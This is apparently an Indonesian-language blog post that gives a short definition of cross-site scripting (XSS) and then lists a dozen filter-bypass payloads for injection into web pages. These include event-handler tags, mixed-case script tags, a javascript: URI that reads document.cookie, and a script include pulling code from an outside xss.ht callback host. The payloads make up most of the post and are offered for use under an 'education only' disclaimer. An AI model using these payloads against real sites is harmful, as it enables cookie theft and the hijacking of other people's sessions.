Apa itu XSS & Apa saja Bypass XSS



Oke pada kesempatan ini saya ingin Mengajarkan kepada kalian apa itu XSS Dan bagaimana Cara Bypassnya?


XSS merupakan kependekan yang digunakan untuk istilah cross site scripting.


XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.


Alasan kependekan yang digunakan XSS bukan CSS karena CSS sudah digunakan untuk cascade style sheet.


Nah Disini Gua kasih Bypass XSS nya

##bug XSS Payload

*Simple Payload Bypassed :*
"onclick=alert`XSS By Chaplin`>

"><img src=x onerror=prompt(1)>

"><img src=x onerror=alert(document.domain)>

<ScRipt>alert(1)</ScrIpt>

<svg onload=alert(1)>>

<script>alert("XSS By Chaplin404");</script>

"><img src=x onerror=prompt(document.domain)>

javascript:prompt(document.cookie)

<b onclick=alert(1)>click me!
<p/onclick=alert()>1

"><script src=https://caplin.xss.ht></script>

Oke 


Oke ini Adalah Bypass XSS,Bila Ada Yang Di Tanyakan Bisa Chat Wa Saya Di sini.


Oke sekian Dari Penjelasan Gua Bila ada Yang kurang Mohon maaf


Ini Hanya Edukasi saja ya bruh :)



ByeBye :)